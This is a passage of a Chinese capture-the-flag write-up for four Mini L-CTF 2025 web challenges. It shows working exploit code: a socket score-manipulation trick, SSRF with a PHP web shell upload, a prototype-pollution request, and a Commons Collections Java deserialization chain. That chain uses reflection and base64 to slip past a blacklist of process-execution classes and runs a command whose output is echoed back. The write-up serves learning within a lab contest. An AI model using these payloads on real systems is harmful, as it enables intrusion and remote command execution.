Mini L-CTF 2025 Web WP
2025-05-09|CTF

GuessOneGuess

目录结构:

📂 GuessOneGuess
├── 📂 bin
│   └── 📄 www
├── 📂 routes
│   ├── 📄 game-ws.js
│   └── 📄 index.js
├── 📂 views
│   ├── 📄 error.pug
│   ├── 📄 game.pug
│   └── 📄 layout.pug
├── 📄 app.js
└── 📄 package.json

游戏后端逻辑主要在 game-ws.js

module.exports = function(io) {
    io.on('connection', (socket) => {
        let targetNumber = Math.floor(Math.random() * 100) + 1;
        let guessCount = 0;
        let totalScore = 0;
        const FLAG = process.env.FLAG || "miniL{THIS_IS_THE_FLAG}";
        console.log(`新连接 - 目标数字: ${targetNumber}`);

    
        socket.emit('game-message', {
            type: 'welcome',
            message: '猜一个1-100之间的数字!',
            score: totalScore
        });

        
        socket.on('guess', (data) => {
            try {
              console.log(totalScore);
                const guess = parseInt(data.value);

                if (isNaN(guess)) {
                    throw new Error('请输入有效数字');
                }

                if (guess < 1 || guess > 100) {
                    throw new Error('请输入1-100之间的数字');
                }

                guessCount++;

                if (guess === targetNumber) {
                   
                    const currentScore = Math.floor(100 / Math.pow(2, guessCount - 1));
                    totalScore += currentScore;

                    let message = `🎉 猜对了!得分 +${currentScore} (总分数: ${totalScore})`;
                    let showFlag = false;

                    if (totalScore > 1.7976931348623157e308) {
                        message += `\n🏴 ${FLAG}`;
                        showFlag = true;
                    }

                    socket.emit('game-message', {
                        type: 'result',
                        win: true,
                        message: message,
                        score: totalScore,
                        showFlag: showFlag,
                        currentScore: currentScore
                    });

                    
                    targetNumber = Math.floor(Math.random() * 100) + 1;
                    console.log(`新目标数字: ${targetNumber}`);
                    guessCount = 0;
                } else {
                    if (guessCount >= 100) {
                      console.log("100次未猜中!将扣除当前分数并重置");
                        socket.emit('punishment', {
                            message: "100次未猜中!将扣除当前分数并重置",
                        });
                        return;
                    }
                    socket.emit('game-message', {
                        type: 'result',
                        win: false,
                        message: guess < targetNumber ? '太小了!' : '太大了!',
                        score: totalScore
                    });
                }
            } catch (err) {
                socket.emit('game-message', {
                    type: 'error',
                    message: err.message,
                    score: totalScore
                });
            }
        });
        socket.on('punishment-response', (data) => {
          totalScore -= data.score;
          guessCount = 0;
          targetNumber = Math.floor(Math.random() * 100) + 1;
          console.log(`新目标数字: ${targetNumber}`);
          socket.emit('game-message', {
            type: 'result',
            win: true,
            message: "扣除分数并重置",
            score: totalScore,
            showFlag: false,
          });

        });
    });
};

可见需要分数大于一个超级大的数字 1.7976931348623157e308

它其实就是 JS 所使用的 IEEE 754 标准的双精度浮点数(64位)所能表示的最大的有限正数(可以通过 Number.MAX_VALUE 来获取)

在 Javascript 中,进行计算时结果超出了 Number.MAX_VALUE 时,会将结果表示为 Infinity

Infinity > Number.MAX_VALUE 的结果是 true,所以需要让分数达到 Infinity

猜对一次加的分很少,写一个二分查找算法来与其交互显然不可能在比赛结束前分数达到 Infinity,得找到一种方法极大地增加分数

往下看注意到一个 socket 接口竟然接收客户端发来的分数来扣除总分数

socket.on('punishment-response', (data) => {
        totalScore -= data.score;
        guessCount = 0;
        targetNumber = Math.floor(Math.random() * 100) + 1;
        console.log(`新目标数字: ${targetNumber}`);
        socket.emit('game-message', {
        type: 'result',
        win: true,
        message: "扣除分数并重置",
        score: totalScore,
        showFlag: false,
    });
});

game.pug 中可以看到接收到 punishment 事件后发出 punishment-response

socket.on("punishment", (data) => {
    socket.emit("punishment-response", { score: scoreDisplay.textContent} );
})

于是就想到发过去一个超大负数作为被扣除的分数,就是加分了

JSON 不支持 Infinity,如果设置 score 为 -Infinity 序列化会变成 null,所以就设为 -1.7976931348623157e308

在控制台执行:

let socket = io()
socket.emit("punishment-response", { score: -1.7976931348623157e308})

image.png

分数达到了这么大

那么再发一次就变成 Infinity 了,此时看服务端响应 JSON score 是 null,正如前面所说 JSON 不支持 Infinity,所以序列化为 JSON 会变成 null。实际上总分应该是 Infinity 了。只要再猜对一次应该就能让服务端触发分数判断返回 flag

但是在网页中再猜对一次会发现总分还是从 0 加起,这其实是因为之前的操作是另外创建了一个 socket 会话,只要用那个 socket 会话猜数就行了

game.pug 中发出 guess 事件是这样:socket.emit('guess', { value: guessInput.value });,所以在控制台猜数也是这样执行,为了方便查看响应,先执行:

socket.on('game-message', (data) => { console.log(data) })

然后猜数:

image-1.png

Miniup

题目描述:自主研发的图床(确信

响应头表明了 PHP 5.6.4

存在任意文件读取

image-2.png

读一下它的源码:

import requests
import base64

URL = 'http://127.0.0.1:3000'

def read_file(path: str) -> str:
    payload = {
        'action': (None, 'view'),             # 第一个表单字段 action=view
        'filename': (None, path)          # 第二个表单字段 filename=/path/to/file
    }

    response = requests.post(URL, files=payload)

    data = response.json()

    if data.get('success') and 'base64_data' in data:
        encoded_data = data['base64_data'].split(',')[1]

        try:
            decoded_bytes = base64.b64decode(encoded_data)
            decoded_content = decoded_bytes.decode('utf-8', errors='ignore')
            return decoded_content
        except base64.binascii.Error as e:
            print(f"[-] Failed to decode from base64: {e}")
            print(f"[-] Received base64 data: {encoded_data}...")
            return None
        except Exception as e:
                print(f"[-] Unknown error decoding from base64: {e}")
                return None
    else:
        print(f"[-] Response has no 'base64_data' field: {data}")
        return None

if __name__ == "__main__":
    print(read_file('index.php'))

结果:

<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];
        
        $filename = $file['name'];

        $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
        
        $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        
        if (!in_array($file_extension, $allowed_extensions)) {
            echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
            exit;
        }
        
        $target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
        
        $file_content = file_get_contents($file['tmp_name']);
        
        $ch = curl_init($target_url);
        
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Origin: http://' . $dufs_host . ':' . $dufs_port,
            'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
            'Accept-Encoding: gzip, deflate',
            'Accept: */*',
            'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
            'Content-Length: ' . strlen($file_content)
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        if ($http_code >= 200 && $http_code < 300) {
            echo json_encode(['success' => true, 'message' => '图片上传成功']);
        } else {
            echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '未选择图片']);
        exit;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
    if (isset($_POST['query']) && !empty($_POST['query'])) {
        $search_query = $_POST['query'];
        
        if (!ctype_alnum($search_query)) {
            echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
            exit;
        }
        
        $search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';
        
        $ch = curl_init($search_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Host: ' . $dufs_host . ':' . $dufs_port,
            'Accept: */*',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code >= 200 && $http_code < 300) {
            $response_data = json_decode($response, true);
            if (isset($response_data['paths']) && is_array($response_data['paths'])) {
                $image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
                
                $filtered_paths = [];
                foreach ($response_data['paths'] as $item) {
                    $file_name = $item['name'];
                    $extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
                    
                    if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
                        $filtered_paths[] = $item;
                    }
                }
                
                $response_data['paths'] = $filtered_paths;
                
                echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
            } else {
                echo json_encode(['success' => true, 'result' => $response]);
            }
        } else {
            echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
        exit;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
    if (isset($_POST['filename']) && !empty($_POST['filename'])) {
        $filename = $_POST['filename'];
        
        $file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
        
        if ($file_content !== false) {
            $base64_image = base64_encode($file_content);
            $mime_type = 'image/jpeg';
            
            echo json_encode([
                'success' => true, 
                'is_image' => true,
                'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
            ]);
        } else {
            echo json_encode(['success' => false, 'message' => '无法获取图片']);
        }
        
        exit;
    } else {
        echo json_encode(['success' => false, 'message' => '请输入图片路径']);
        exit;
    }
}
?>

// 剩下的是 HTML

源码表面还有一个 5000 端口的 dufs 服务,查看其 github 仓库可知是个文件服务器

从仓库的 README 查看 dufs 服务的 API

image-3.png

尝试 SSRF 访问 dufs 服务:read_file('http://127.0.0.1:5000?json'),列出了当前目录下的文件以及一些配置信息:

{
  "href": "/",
  "kind": "Index",
  "uri_prefix": "/",
  "allow_upload": true,
  "allow_delete": false,
  "allow_search": true,
  "allow_archive": false,
  "dir_exists": true,
  "auth": false,
  "user": null,
  "paths": [
    {
      "path_type": "File",
      "name": "dufs",
      "mtime": 1745487158000,
      "size": 4488672
    },
    {
      "path_type": "File",
      "name": "index.php",
      "mtime": 1745500647000,
      "size": 16464
    }
  ]
}

说明 SSRF 有效,相当于现在可以控制这个 dufs 服务

然后就可以上传 shell 了

import requests
import base64

URL = 'http://127.0.0.1:3000'

def read_file(path: str) -> str:
    payload = {
        'action': (None, 'view'),
        'filename': (None, path),
        'options[http][method]': (None, 'PUT'),
        'options[http][content]': (None, r"<?php system($_GET['cmd']);?>")
    }

    response = requests.post(URL, files=payload)

    data = response.json()

    if data.get('success') and 'base64_data' in data:
        encoded_data = data['base64_data'].split(',')[1]

        try:
            decoded_bytes = base64.b64decode(encoded_data)
            decoded_content = decoded_bytes.decode('utf-8', errors='ignore')
            return decoded_content
        except base64.binascii.Error as e:
            print(f"[-] Failed to decode from base64: {e}")
            print(f"[-] Received base64 data: {encoded_data}...")
            return None
        except Exception as e:
                print(f"[-] Unknown error decoding from base64: {e}")
                return None
    else:
        print(f"[-] Response has no 'base64_data' field: {data}")
        return None

if __name__ == "__main__":
    print(read_file('http://127.0.0.1:5000/shell.php'))

image-4.png

Clickclick

题目描述:相传,有一个神奇的按钮,只要点满 10000 下,就会有不一样的东西出现。

打开开发者工具,点几次,没有网络请求。Wappalyzer 插件显示前端是一个 Svelte 应用,由 Vite 打包。并且可能用到了 Socket.io(PHP 应该是误判)。后端是 Express(响应头 X-Powered-By 字段)

image-5.png

页面只有一个打包的 JS 文件。打包优化后的 JS 基本没有可读性

既然题目说点满 10000 下,那么就试试。当然不是手点,是在控制台执行:

let button = document.querySelector('button')
for (let i = 0; i < 10000; i++) { button.click(); }

出现了两行字和一堆 XHR 请求

image-6.png

image-7.png

前面都是 ok,后面都提示按的太快。不过现在知道了后端的 API 以及请求数据结构。这些请求都是发到 /update-amount 接口,请求数据:

{
    "type":"set",
    "point":{
        "amount":数字
    }
}

直接 curl 过去:

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"type":"set","point":{"amount":10000}}' \
  http://127.0.0.1:3000/update-amount

响应也是 “你按的太快了“

如果设置为 1,响应是 ok。设置为 1000 也是太快,而在之前的大量请求中也是到了 1000 判定太快。看起来是只要超过这个数就判断太快

因为前端到 10000 次后特意给了一行 JS 代码,应该是个线索

if ( req.body.point.amount == 0 || req.body.point.amount == null) {
    delete req.body.point.amount
}

当后续代码尝试读取 req.body.point.amount 时,由于实例上(req.body.point 对象本身)的 amount 已经被删除了,JavaScript 会沿着原型链向上查找。猜测是原型链污染:

{
    "type": "set",
    "point": {
        "__proto__": {
            "amount": 10000
        }
    }
}

响应体给出了 flag

image-11.png

ezCC

/secret 给了 final.jar。解压查看

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

  <groupId>org.example</groupId>
  <artifactId>final</artifactId>
  <packaging>jar</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>final Maven Webapp</name>
  <url>http://maven.apache.org</url>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

  <dependencies>
      <dependency>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-web</artifactId>
      </dependency>
      <dependency>
          <groupId>commons-collections</groupId>
          <artifactId>commons-collections</artifactId>
          <version>3.2.1</version>
      </dependency>
  </dependencies>
  <build>
    <finalName>final</finalName>
      <plugins>
          <plugin>
              <groupId>org.springframework.boot</groupId>
              <artifactId>spring-boot-maven-plugin</artifactId>
          </plugin>
      </plugins>
  </build>
</project>

控制器部分:

@PostMapping({"/handle"})
public String ser(String data) throws Exception {
    Comment new_comment = new Comment(data);
    byte[] comments_code = Tools.serialize(new_comment);
    String comments_str = Tools.base64Encode(comments_code);
    this.deser(comments_str);
    return "redirect:/show";
}

@RequestMapping({"/deserialize"})
@ResponseBody
public void deser(String data) throws Exception {
    if (data.length() > 6000) {
        throw new Exception("Payload too long");
    } else {
        byte[] comments_code = Tools.base64Decode(data);
        List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code);
        Iterator var4 = this.blacklist.iterator();

        while(var4.hasNext()) {
            String i = (String)var4.next();
            Iterator var6 = result.iterator();

            while(var6.hasNext()) {
                String s = (String)var6.next();
                if (s.contains(i)) {
                    throw new Exception("Forbidden blacklist");
                }
            }
        }

        try {
            Comment trans_comment = (Comment)Tools.deserialize(comments_code);
            this.comments.add(trans_comment);
        } catch (Exception var8) {
            Exception e = var8;
            e.printStackTrace();
        }

    }
}

@RequestMapping({"/show"})
@ResponseBody
public String show(HttpServletRequest request) throws Exception {
    StringBuilder htmlBuilder = new StringBuilder();
    htmlBuilder.append("<html><head><style>").append("body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }").append(".container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }").append("h1 { color: #333; }").append("ul { list-style-type: none; padding: 0; }").append("li { margin-bottom: 10px; padding: 10px; background-color: #f9f9f9; border-radius: 4px; }").append(".comment-text { font-weight: bold; }").append(".comment-time { color: #666; font-size: 0.9em; }").append("</style></head><body>").append("<div class='container'>").append("<h1>Comments</h1>");
    if (this.comments.isEmpty()) {
        htmlBuilder.append("<p>No comments yet.</p>");
    } else {
        htmlBuilder.append("<ul>");
        Iterator var3 = this.comments.iterator();

        while(var3.hasNext()) {
            Comment comment = (Comment)var3.next();
            htmlBuilder.append("<li>").append("<span class='comment-text'>").append(comment.getText()).append("</span>").append("<br>").append("<span class='comment-time'>From: ").append(comment.getFormattedTimestamp()).append("</span>").append("</li>");
        }

        htmlBuilder.append("</ul>");
    }

    htmlBuilder.append("</div></body></html>");
    return htmlBuilder.toString();
}

黑名单:

public class BlackList {
    public final Set<String> blacklist;

    public BlackList() {
        this.blacklist = new HashSet();
        this.blacklist.addAll(Arrays.asList("Runtime", "ScriptEngine", "SpelExpressionParser", "ProcessImpl", "UNIXProcess", "forkAndExec", "ProcessBuilder", "UnixPrint"));
    }

    public BlackList(int sign) {
        this.blacklist = (new BlackList()).blacklist;
        this.blacklist.addAll(Arrays.asList("jackson", "ChainedTransformer"));
    }
}

只知道是 JDK8,不清楚具体版本号。先用较新的 JDK8u441 本地测试

发送请求应注意 Content-Type。否则会无法绑定参数并抛出 NullPointerException

POST /deserialize HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8080

data=

/deserialize 接口会反序列化输入数据,限制长度最大 6000

此时就要搬出之前写的通杀 JDK 8 的无数组用于打 shiro 的利用链了。它没有 ChainedTransformer

package com.kkayu;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class DeserializationForShiro {
    public static void main(String[] args) throws Exception {
        byte[] bytecode = getPayload();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytecode));
        Object o = ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getPayload() throws Exception {
        byte[] bytecode = ClassPool.getDefault().get("EvilTemplatesImpl").toBytecode();

        TemplatesImpl tpl = new TemplatesImpl();
        setFieldValue(tpl, "_bytecodes", new byte[][] { bytecode });
        setFieldValue(tpl, "_name", "NOT NULL");

        Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tpl });

        Transformer fakeTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, TrAXFilter.class);
        Map map = new HashMap();
        map.put(tiedMapEntry, "value");

        outerMap.remove(TrAXFilter.class);

        setFieldValue(outerMap, "factory", transformer);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();

        return baos.toByteArray();
    }
}

为了绕过 Runtime 的黑名单,EvilTemplatesImpl 里面需要让程序运行的时候通过反射动态获取 Runtime,避免使字节码包含 Runtime:

// EvilTemplatesImpl.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    static {
        try {
            java.util.Base64.Decoder d = java.util.Base64.getDecoder();
            // "java.lang.Runtime" -> amF2YS5sYW5nLlJ1bnRpbWU=
            // "getRuntime"        -> Z2V0UnVudGltZQ==
            // "exec"              -> ZXhlYw==
            String cmdB64 = "ZW52"; // env

            Class<?> cls = Class.forName(new String(d.decode("amF2YS5sYW5nLlJ1bnRpbWU=")));
            Object rt = cls.getMethod(new String(d.decode("Z2V0UnVudGltZQ==")), new Class[0]).invoke(null);
            cls.getMethod(new String(d.decode("ZXhlYw==")), String.class)
                    .invoke(rt, new String(d.decode(cmdB64)));
        } catch (Exception ignored) {}
    }
}

然而执行后报错了:

java.lang.IllegalArgumentException: Illegal base64 character 20
	at java.util.Base64$Decoder.decode0(Base64.java:714) ~[na:1.8.0_65]
	at java.util.Base64$Decoder.decode(Base64.java:526) ~[na:1.8.0_65]
	at java.util.Base64$Decoder.decode(Base64.java:549) ~[na:1.8.0_65]
	at com.example.controller.IndexController.deser(IndexController.java:57) ~[classes!/:1.0-SNAPSHOT]
    ...

20 对应的是空格,打印一下 data 可以看到确实有空格,对比一下发现是 Payload 里的加号变成了空格,应该是被 URL 解码了

于是进行 URL 编码,执行后又抛出了一个异常:

java.lang.IllegalArgumentException: Input byte array has incorrect ending byte at 3360
	at java.util.Base64$Decoder.decode0(Base64.java:742) ~[na:1.8.0_65]
	at java.util.Base64$Decoder.decode(Base64.java:526) ~[na:1.8.0_65]
	at java.util.Base64$Decoder.decode(Base64.java:549) ~[na:1.8.0_65]
	at com.example.controller.IndexController.deser(IndexController.java:57) ~[classes!/:1.0-SNAPSHOT]
    ...

看起来是 data 末尾多出来了什么东西?编码后的 Payload 解码是正常的等号结尾

为了进一步排查,打印更详细的信息:

import java.security.MessageDigest;
import java.nio.charset.StandardCharsets;
import javax.xml.bind.DatatypeConverter;

@RequestMapping({"/deserialize"})
@ResponseBody
public void deser(String data) throws Exception {
    System.out.println("--- Received data for /deserialize ---");
    if (data == null) {
        System.out.println("Received data is null!");
        throw new NullPointerException("Data parameter is null"); // Or handle differently
    }
    System.out.println("Received data length: " + data.length());
    try {
        MessageDigest md = MessageDigest.getInstance("MD5");
        byte[] hash = md.digest(data.getBytes(StandardCharsets.UTF_8));
        String md5Hash = DatatypeConverter.printHexBinary(hash).toUpperCase();
        System.out.println("Received data MD5: " + md5Hash);
        // Also print the last 20 characters to visually check the tail
        System.out.println("Received data tail: " + data.substring(Math.max(0, data.length() - 20)));
    } catch (Exception e) {
        System.out.println("Error calculating hash or getting tail: " + e.getMessage());
    }
    System.out.println("--- Proceeding with deserialization logic ---");

    ...
}

打印出来长度多了 4,而且末尾打印出来有两个空行,所以应该是多了两个换行,回去一看原来是 Yakit 里发包多时候结尾有换行,因为编码后数据太长了,往下滚才注意到..

解决问题后,在本地测试成功弹出了计算器

但是再发一次就不行了,只能重启。打远程可能得打一次就重启一下环境

curl 命令远程环境一直没反应,可能是不出网

并且 /deserialize 的异常处理机制吞掉了错误返回,需要利用已有的机制把数据弄出来。于是看看能否利用 /show 接口回显信息

/handle 接口可以接收 data 处理后放到 comments 里,然后就在 /show 就可以看到这个 data 的内容

那么思路就是 SSRF 向 /show 发送命令的执行结果获取回显

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;

public class EvilTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    static {
        try {
            // 1. Base64 编码绕 WAF 并使得反射动态获取 Runtime 执行命令并获取输出
            java.util.Base64.Decoder d = java.util.Base64.getDecoder();
            // "java.lang.Runtime" -> amF2YS5sYW5nLlJ1bnRpbWU=
            // "getRuntime"        -> Z2V0UnVudGltZQ==
            // "exec"              -> ZXhlYw==
            String cmdB64 = "ZW52"; // env

            Class<?> cls = Class.forName(new String(d.decode("amF2YS5sYW5nLlJ1bnRpbWU=")));
            Object rt = cls.getMethod(new String(d.decode("Z2V0UnVudGltZQ=="))).invoke(null);
            Process p = (Process) cls.getMethod(new String(d.decode("ZXhlYw==")), String.class)
                    .invoke(rt, new String(d.decode(cmdB64)));

            BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
            StringBuilder sb = new StringBuilder();
            String l;
            while ((l = r.readLine()) != null) {
                sb.append(l);
            }
            p.waitFor(); // 等待进程结束
            r.close();   // 关闭流
            String f = sb.toString(); // 获取最终结果

            // 2. 发送内部 HTTP POST 请求
            String tu = "http://127.0.0.1:8080/handle"; // targetUrl
            byte[] pdb = ("data=" + URLEncoder.encode(f, "UTF-8")).getBytes("UTF-8"); // postDataBytes, 使用 "UTF-8" 字符串

            HttpURLConnection c = (HttpURLConnection) new URL(tu).openConnection();
            c.setRequestMethod("POST");
            c.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
            c.setRequestProperty("Content-Length", "" + pdb.length);
            c.setDoOutput(true);

            try (OutputStream os = c.getOutputStream()) {
                os.write(pdb);
            }
            c.getResponseCode();
        } catch (Exception ignored) {}
    }
}

生成 Payload 长度达到了 7212。为了进一步缩短,改用 javassist 动态构造字节码

需要注意 Javassist 的编译器比较老,不支持 Java 7 及以后引入的语法特性(泛型,try-with-resources 等)

并且 Javassist 的编译检查比较严格,经过一系列排错和优化后的构造字节码的代码如下:

public static byte[] getBytecode() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    pool.importPackage("java.io");
    pool.importPackage("java.net");
    pool.importPackage("java.lang.reflect");
    CtClass ctClass = pool.makeClass("A");
    CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    ctClass.setSuperclass(superClass);
    String body = "public A(){\n" +
            "    try {\n" +
            "        java.util.Base64.Decoder d = java.util.Base64.getDecoder();\n" +
            "        String cmdB64 = \"ZW52\";\n" +
            "        Class cls = Class.forName(new String(d.decode(\"amF2YS5sYW5nLlJ1bnRpbWU=\")));\n" +
            "        Object rt = cls.getMethod(new String(d.decode(\"Z2V0UnVudGltZQ==\")), new Class[0]).invoke(null, null);\n" +
            "        Process p = (Process) cls.getMethod(new String(d.decode(\"ZXhlYw==\")), new Class[] { String.class })\n" +
            "                .invoke(rt, new Object[] { new String(d.decode(cmdB64)) });\n" +
            "        BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\n" +
            "        StringBuilder sb = new StringBuilder();\n" +
            "        String l;\n" +
            "        while ((l = r.readLine()) != null) {\n" +
            "            sb.append(l);\n" +
            "        }\n" +
            "        p.waitFor();\n" +
            "        r.close();\n" +
            "        String f = sb.toString();\n" +
            "        String tu = \"http://127.0.0.1:8080/handle\";\n" +
            "        byte[] pdb = (\"data=\" + URLEncoder.encode(f, \"UTF-8\")).getBytes(\"UTF-8\");\n" +
            "        HttpURLConnection c = (HttpURLConnection) new URL(tu).openConnection();\n" +
            "        c.setRequestMethod(\"POST\");\n" +
            "        c.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n" +
            "        c.setRequestProperty(\"Content-Length\", \"\" + pdb.length);\n" +
            "        c.setDoOutput(true);\n" +
            "        OutputStream os = null;\n" +
            "        try {\n" +
            "            os = c.getOutputStream();\n" +
            "            os.write(pdb);\n" +
            "        } finally {\n" +
            "            if (os != null) {\n" +
            "                try {\n" +
            "                    os.close();\n" +
            "                } catch (Exception closeEx) {}\n" +
            "            }\n" +
            "        }\n" +
            "            c.getResponseCode();\n" +
            "    } catch (Exception ignored) {}\n" +
            "}";
    CtConstructor constructor = CtNewConstructor.make(body, ctClass);
    ctClass.addConstructor(constructor);
    ctClass.writeFile(".");
    byte[] bytecode = ctClass.toBytecode();
    ctClass.defrost();
    return bytecode;
}

完整代码:

package com.kkayu;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Solve {
    public static void main(String[] args) throws Exception {
        byte[] byteCode = getPayload();
        String base64Payload = Base64.getEncoder().encodeToString(byteCode);
        System.out.println(base64Payload);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getBytecode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.importPackage("java.io");
        pool.importPackage("java.net");
        pool.importPackage("java.lang.reflect");
        CtClass ctClass = pool.makeClass("A");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        String body = "public A(){\n" +
                "    try {\n" +
                "        java.util.Base64.Decoder d = java.util.Base64.getDecoder();\n" +
                "        String cmdB64 = \"ZW52\";\n" +
                "        Class cls = Class.forName(new String(d.decode(\"amF2YS5sYW5nLlJ1bnRpbWU=\")));\n" +
